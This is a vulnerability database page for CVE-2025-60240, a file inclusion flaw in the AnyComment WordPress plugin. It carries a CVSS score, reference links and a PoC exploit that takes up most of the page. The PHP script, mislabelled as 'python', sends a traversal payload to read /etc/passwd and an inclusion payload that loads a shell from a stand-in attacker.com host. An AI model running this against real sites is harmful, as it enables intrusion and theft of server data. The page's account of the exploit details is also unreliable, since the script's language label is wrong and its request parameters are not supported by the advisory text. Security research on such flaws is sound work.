CVE-2025-60240

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Alexander AnyComment anycomment allows PHP Local File Inclusion.This issue affects AnyComment: from n/a through <= 0.3.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AnyComment <= 0.3.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-60240 PoC - AnyComment Local/Remote File Inclusion
 * Target: WordPress AnyComment plugin <= 0.3.6
 * Note: This PoC is for educational and authorized testing purposes only
 */

// Local File Inclusion PoC
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$params = array(
    'action' => 'anycomment_upload',
    'file' => '../../../../../../etc/passwd'  // LFI payload
);

echo "[*] Testing LFI on: $target_url\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'root:') !== false) {
    echo "[+] LFI Successful! Sensitive data leaked.\n";
} else {
    echo "[-] LFI Failed or target not vulnerable.\n";
}

// Remote File Inclusion PoC (requires allow_url_include=On)
$rfi_payload = 'http://attacker.com/shell.txt?';
$rfi_params = array(
    'action' => 'anycomment_upload',
    'file' => $rfi_payload
);

echo "[*] Testing RFI with payload: $rfi_payload\n";
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '?' . http_build_query($rfi_params));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch2);
curl_close($ch2);

echo "[*] Response length: " . strlen($response2) . " bytes\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60240
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60240
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60240/
[4] VulDB https://vuldb.com/cve/CVE-2025-60240
[5] https://patchstack.com/database/Wordpress/Plugin/anycomment/vulnerability/wordpress-anycomment-plugin-0-3-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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